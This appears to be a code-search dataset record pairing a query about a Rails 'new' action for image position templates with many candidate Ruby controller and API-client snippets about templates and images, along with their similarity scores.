"def page_image_template\n \"#{slug}-p{page}-{size}.gif\"\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def show\n @score_template = ScoreTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @score_template }\n end\n end",
"def get_item_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: StoreApi.get_item_templates ...\"\n end\n # resource path\n local_var_path = \"/store/items/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceStoreItemTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StoreApi#get_item_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def template_map\n \n end",
"def index\n @templates = Spree::Template.all\n end",
"def fetch_template(endpoint)\n url = URI.parse(endpoint)\n region = url.host.split('.').first.split('-', 2).last\n if(region == 's3')\n region = 'us-east-1'\n end\n bucket, path = url.path.sub('/', '').split('/', 2)\n MultiJson.load(\n storage_api(region).buckets.get(\n bucket.sub('/', '')\n ).files.get(path).body.read\n )\n end",
"def index\n @request_templates = RequestTemplate.all\n end",
"def get_item_template\n get_type_template(@source.types)\n end",
"def index\n @favorite_templates = FavoriteTemplate.all\n render json: @favorite_templates\n end",
"def index\n @templates = Template.includes(:template_elements).all\n end",
"def index\n @slider_images = @selected_template.spree_slider_images\n @slider = Spree::SliderImage.new\n end",
"def show\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end",
"def index\n @templates = Template.order(:name).page params[:page]\n end",
"def update_template_with_image_id(template)\n params = template.parameters\n params.each do |key, value|\n update_params_with_image_id(params, key, value)\n end\n end",
"def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end",
"def show\n @admin_template = Template.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_template }\n end\n end",
"def index\n @crawler_templates = CrawlerTemplate.order(\"mall_id asc, updated_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @crawler_templates }\n end\n end",
"def index\n @structure_photos = StructurePhoto.paginate(page: params[:page], per_page: params[:size])\n .order(created_at: :desc).all\n render json: @structure_photos\n end",
"def get_poll_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaPollsApi.get_poll_templates ...\"\n end\n # resource path\n local_var_path = \"/media/polls/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaPollsApi#get_poll_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_video_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_video_templates ...\"\n end\n # resource path\n local_var_path = \"/media/videos/templates\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceTemplateResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_video_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @custom_templates = CustomTemplate.page params[:page]\n end",
"def templates(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Templates\", params: params)\n end",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def show_from_template_and_place\n params = tpl_place_params\n @questions = QAPIGenerator.get_from_ids params[:place_id], params[:template_id]\n render 'index'\n end",
"def get_template_image_url(file_type)\n path = get_server_url(true) + \"/assets/\"\n case file_type\n when 'word' # for word type\n full_path = path + 'file_docx.svg'\n when 'cell' # .xlsx for cell type\n full_path = path + 'file_xlsx.svg'\n when 'slide' # .pptx for slide type\n full_path = path + 'file_pptx.svg'\n else\n full_path = path + 'file_docx.svg' # the default value is .docx\n end\n\n full_path\n end",
"def search_mappings_with_template_get_with_http_info(type, template, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SearchApi.search_mappings_with_template_get ...\"\n end\n # verify the required parameter 'type' is set\n if @api_client.config.client_side_validation && type.nil?\n fail ArgumentError, \"Missing the required parameter 'type' when calling SearchApi.search_mappings_with_template_get\"\n end\n # verify the required parameter 'template' is set\n if @api_client.config.client_side_validation && template.nil?\n fail ArgumentError, \"Missing the required parameter 'template' when calling SearchApi.search_mappings_with_template_get\"\n end\n # resource path\n local_var_path = \"/search/mappings/{type}/{template}\".sub('{' + 'type' + '}', type.to_s).sub('{' + 'template' + '}', template.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SearchApi#search_mappings_with_template_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @post_templates = PostTemplate.all\n end",
"def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def set_template_photo\n @template_photo = TemplatePhoto.find(params[:id])\n end",
"def create\n @template_position = TemplatePosition.new(template_position_params)\n\n respond_to do |format|\n if @template_position.save\n format.html { redirect_to @template_position, notice: 'Template position was successfully created.' }\n format.json { render :show, status: :created, location: @template_position }\n else\n format.html { render :new }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def show\n @gift_template = GiftTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gift_template }\n end\n end",
"def show\n route = Route.find(params[:id])\n imgs = []\n if !route.nil?\n route.rota_points.each do |rp|\n imgs.push(rp.rota_point_images)\n end\n render :json => {:success => \"true\", :route => route, :points => route.rota_points, :images => imgs}\n else\n render :json => {:success => \"false\"}\n end\n end",
"def show\n @template = Template.find(params[:template_id])\n end",
"def template\n @template ||= Ec2.template({:name =>@name, :key_name => @key_name, :image_id => @image_id, :instance_type => @instance_type, :security_groups => @security_groups})\n end",
"def show\n respond_ok \"template\", @templates\n end",
"def show\n @page_template = PageTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_template }\n end\n end",
"def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end",
"def index\n @item_templates = ItemTemplate.all.paginate(page: params[:page]).order('name ASC')\n end",
"def list_templates(type)\n res = http_get(:uri=>\"/editor/#{type}/templates\", :fields=>x_cookie)\n end",
"def index\n @collage_templates = CollageTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @collage_templates }\n end\n end",
"def index\n @loc_images = LocImage.all\n \n end",
"def index_template\n authorize RegisteredElement\n @elements = RegisteredElement.where(template: true).order(:name)\n end",
"def show\n @template = Template.find(params[:id])\n end",
"def get_template\n @template\n end",
"def create\n @position = Position.new(position_params)\n respond_to do |format|\n if @position.save\n @position.create_images(params[:images]) if params[:images]\n format.html { redirect_to @position, notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @node_template = NodeTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @node_template }\n end\n end",
"def index\n # set our shot sample size\n @shot_sample = params[:shot_sample].to_i\n # get the page number or default to 1\n @page = [params[:page].to_i, 1].max\n # paginate players based on `options_from_params`\n @players = Player.paginate({:page => @page, :per_page => PER_PAGE}.merge(options_from_params))\n\n # choose our template\n @template = template_from_params\n end",
"def index\n @slider_image_types = SliderImageType.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end",
"def get_template(name)\n response = request('Action' => 'GetTemplate', 'StackName' => name)\n rid = response.xpath('//aws:GetTemplateResponse/aws:ResponseMetadata/aws:RequestId', NS).text\n template_body = response.xpath('//aws:GetTemplateResponse/aws:GetTemplateResult/aws:TemplateBody', NS).text\n return {:request_id => rid, :body => JSON.parse(template_body)}\n end",
"def index\n @bulk_message_templates = BulkMessageTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bulk_message_templates }\n end\n end",
"def show\n @text2_image = Text2Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text2_image }\n end\n end",
"def show\n @template = CustomTemplate.find(params[:id])\n\t@baseline_characteristic_fields = BaselineCharacteristicField.where(:template_id => @template.id).all\n\t@quality_dimension_fields = QualityDimensionField.where(:template_id => @template.id).all\n\t@template_categorical_columns = OutcomeColumn.where(:template_id => @template.id, :outcome_type => \"Categorical\").all\n\t@template_continuous_columns = OutcomeColumn.where(:template_id => @template.id, :outcome_type => \"Continuous\").all\t\t\n \trender :layout => \"templates\"\t\n end",
"def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end",
"def index\n @variant_images = VariantImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variant_images }\n end\n end",
"def show\n @project_template = ProjectTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_template }\n end\n end"
] |
[
"0.73890805",
"0.68279374",
"0.6288571",
"0.62319326",
"0.6127538",
"0.60175127",
"0.59898174",
"0.5963749",
"0.5944063",
"0.58987486",
"0.581372",
"0.5775024",
"0.5762081",
"0.57003486",
"0.56834006",
"0.5639023",
"0.563465",
"0.5609671",
"0.55893975",
"0.5556625",
"0.5542528",
"0.5537718",
"0.5528622",
"0.5513504",
"0.5498311",
"0.5496152",
"0.54936516",
"0.54871196",
"0.54760665",
"0.5465438",
"0.54634154",
"0.546185",
"0.54513353",
"0.54513216",
"0.54513216",
"0.54513216",
"0.54406446",
"0.543608",
"0.5436033",
"0.54307544",
"0.5427412",
"0.542608",
"0.5421807",
"0.54202914",
"0.541183",
"0.5411774",
"0.54100436",
"0.54030806",
"0.5367398",
"0.5363067",
"0.53602946",
"0.5357351",
"0.5355281",
"0.5353989",
"0.53353244",
"0.5330593",
"0.53259605",
"0.5324106",
"0.53174895",
"0.5312394",
"0.5309768",
"0.5296301",
"0.52881116",
"0.52846724",
"0.5277436",
"0.52763796",
"0.5274454",
"0.5266585",
"0.52661085",
"0.5261543",
"0.5261307",
"0.5260989",
"0.52599746",
"0.5246899",
"0.52465874",
"0.52456796",
"0.5244143",
"0.52411646",
"0.52390754",
"0.52380735",
"0.52315485",
"0.5224083",
"0.5223671",
"0.5219157",
"0.5217363",
"0.5216519",
"0.5207035",
"0.52054995",
"0.5204719",
"0.52033114",
"0.52012795",
"0.5188605",
"0.5179452",
"0.5179014",
"0.5178951",
"0.51743764",
"0.51739085",
"0.517001",
"0.5169348",
"0.51685363"
] |
0.7391674
|
0
|
GET /image_position_templates/new GET /image_position_templates/new.json
|
def new
@image_position_template = ImagePositionTemplate.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @image_position_template }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @image_position_template = ImagePositionTemplate.new(params[:image_position_template])\n\n respond_to do |format|\n if @image_position_template.save\n format.html { redirect_to @image_position_template, notice: 'Image position template was successfully created.' }\n format.json { render json: @image_position_template, status: :created, location: @image_position_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_position_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template }\n end\n end",
"def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template }\n end\n end",
"def new\n @node_template = NodeTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node_template }\n end\n end",
"def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_template }\n end\n end",
"def create\n @template_position = TemplatePosition.new(template_position_params)\n\n respond_to do |format|\n if @template_position.save\n format.html { redirect_to @template_position, notice: 'Template position was successfully created.' }\n format.json { render :show, status: :created, location: @template_position }\n else\n format.html { render :new }\n format.json { render json: @template_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @admin_template = Template.new\n @admin_template.build_template_content\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template }\n end\n end",
"def new\n @project_template = ProjectTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_template }\n end\n end",
"def new\n @position = Position.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position }\n end\n end",
"def new\n @position = Position.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position }\n end\n end",
"def new\n @position = Position.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position }\n end\n end",
"def new\n @inventory_template = InventoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @inventory_template }\n end\n end",
"def new\n @gift_template = GiftTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gift_template }\n end\n end",
"def new\n @text_position = TextPosition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text_position }\n end\n end",
"def new\n @template_shift = TemplateShift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_shift }\n end\n end",
"def new\n @template_task = TemplateTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_task }\n end\n end",
"def create\n @template = Template.new(template_params)\n @template.last_execute_at = nil\n @template.status = 100\n @template.count = 0\n respond_to do |format|\n if @template.save\n current_user.templates.push(@template)\n current_user.save\n #format.html { redirect_to @template, notice: 'Template was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @template }\n format.json { render json: @template, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @position_mapper = PositionMapper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position_mapper }\n end\n end",
"def new\n @module_template = ModuleTemplate.new\n\t@module_template.module_parameters.build\n\t@module_template.module_instances.build\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @module_template }\n end\n end",
"def new\n @question_template = QuestionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_template }\n end\n end",
"def new\n @tinymap = Tinymap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tinymap }\n end\n end",
"def new\n @bulk_message_template = BulkMessageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulk_message_template }\n end\n end",
"def create\n @template = Template.new(template_params)\n\n if @template.save\n render :show, status: :created, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end",
"def new\n @newsletters_template = Newsletters::Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newsletters_template }\n end\n end",
"def new\n @print_template = PrintTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_template }\n end\n end",
"def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def create\n @template = ::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @committee_position = CommitteePosition.new(committee_position_params)\n\n if @committee_position.image_url.include? \"/\"\n fullImage = @committee_position.image_url.split('/')\n\n @committee_position.image_url = fullImage[fullImage.length-1]\n\n end\n respond_to do |format|\n if @committee_position.save\n flash[:success] = \"Committe Position Created.\"\n format.html { redirect_to committee_positions_path }\n format.json { render action: 'index', status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @committee_position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tips_trick }\n end\n end",
"def new\n @admin_kpi_template = Admin::KpiTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end",
"def new\n @position = Position.new\n @position.layout_template_id = params[\"layout_template_id\"]\n\n render :update do |page|\n page.insert_html :top, \"dialog_here\", :partial => \"positions/new\",\n :locals => { :position => @position }\n end\n end",
"def create\n @node_template = NodeTemplate.new(params[:node_template])\n\n respond_to do |format|\n if @node_template.save\n format.html { redirect_to @node_template, notice: 'Node template was successfully created.' }\n format.json { render json: @node_template, status: :created, location: @node_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cv_template = CvTemplate.new(cv_template_params)\n respond_to do |format|\n if @cv_template.save\n current_user.cv_templates << @cv_template\n format.html { redirect_to action: :index, notice: 'Personal info was successfully created.' }\n format.json { render :show, status: :created, location: @cv_template }\n else\n format.html { render :new }\n format.json { render json: @cv_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @invoice_template = InvoiceTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_template }\n end\n end",
"def new\n @email_template = EmailTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_template }\n end\n end",
"def new\n @email_template = EmailTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_template }\n end\n end",
"def create\n @template = Spree::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @template }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attr_template = AttrTemplate.new(attr_template_params)\n\n respond_to do |format|\n if @attr_template.save\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attr_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gift_template = GiftTemplate.new(params[:gift_template])\n\n respond_to do |format|\n if @gift_template.save\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully created.' }\n format.json { render json: @gift_template, status: :created, location: @gift_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @collage_template = CollageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collage_template }\n end\n end",
"def new\n @template_package = TemplateAuthor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_package }\n end\n end",
"def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end",
"def new\n @position = Position.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @position }\n end\n end",
"def create\n @template_photo = TemplatePhoto.new(template_photo_params)\n\n respond_to do |format|\n if @template_photo.save\n format.html { redirect_to @template_photo, notice: 'Template photo was successfully created.' }\n format.json { render :show, status: :created, location: @template_photo }\n else\n format.html { render :new }\n format.json { render json: @template_photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @purchase_template = PurchaseTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_template }\n end\n end",
"def create\n @position = Position.new(position_params)\n respond_to do |format|\n if @position.save\n @position.create_images(params[:images]) if params[:images]\n format.html { redirect_to @position, notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item template was successfully created.' }\n format.json { render :show, status: :created, location: @item_template }\n else\n format.html { render :new }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @message_template = @company.message_templates.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message_template }\n end\n end",
"def new\n @title = \"New region\"\n @region = RegionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @region }\n end\n end",
"def new\n @tsp = Tsp.new\n @tsp.build_asset\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json:@tsp }\n end\n end",
"def create\n @template = Template.new(template_params) \n respond_to do |format|\n if @template.save \n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @favorite_template = FavoriteTemplate.new(favorite_template_params)\n @favorite_template.save\n render json: @favorite_template\n end",
"def new\n @template_container = TemplateContainer.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_container }\n end\n end",
"def create\n @logistic_order_template = LogisticOrderTemplate.new(logistic_order_template_params)\n\n if @logistic_order_template.save\n render :show, status: :created, location: @logistic_order_template\n else\n render json: @logistic_order_template.errors, status: :unprocessable_entity\n end\n end",
"def new\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_category_template }\n end\n end",
"def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def show\n @image_position_template = ImagePositionTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_position_template }\n end\n end",
"def new\n @tile = Tile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tile }\n end\n end",
"def new\n @position = Position.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @position }\n end\n end",
"def new\n @text2_image = Text2Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @text2_image }\n end\n end",
"def create\n @page_template = PageTemplate.new(params[:page_template])\n\n respond_to do |format|\n if @page_template.save\n format.html { redirect_to @page_template, notice: 'Page template was successfully created.' }\n format.json { render json: @page_template, status: :created, location: @page_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @template = CustomTemplate.new\n\n \trender :layout => \"templates\"\t\n end",
"def new\n \n @page = Page.new\n @page.images.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def create\n @newsletters_template = Newsletters::Template.new(params[:newsletters_template])\n\n respond_to do |format|\n if @newsletters_template.save\n format.html { redirect_to @newsletters_template, notice: 'Template was successfully created.' }\n format.json { render json: @newsletters_template, status: :created, location: @newsletters_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newsletters_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @image_url = ImageUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_url }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end",
"def create\n restricted\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @position_history = PositionHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @position_history }\n end\n end",
"def create\n @project_template = ProjectTemplate.new(params[:project_template])\n\n respond_to do |format|\n if @project_template.save\n format.html { redirect_to @project_template, notice: 'Project template was successfully created.' }\n format.json { render json: @project_template, status: :created, location: @project_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html {\n redirect_to @template,\n notice: \"Template #{@template.template_name} was successfully created.\"\n }\n format.json {\n render :show, status: :created, location: @template\n }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @image = Image.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end",
"def new\n @template_field = TemplateField.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_field }\n end\n end",
"def create\n @new_tile = NewTile.new(new_tile_params)\n\n respond_to do |format|\n if @new_tile.save\n format.html { redirect_to @new_tile, notice: 'New tile was successfully created.' }\n format.json { render :show, status: :created, location: @new_tile }\n else\n format.html { render :new }\n format.json { render json: @new_tile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end",
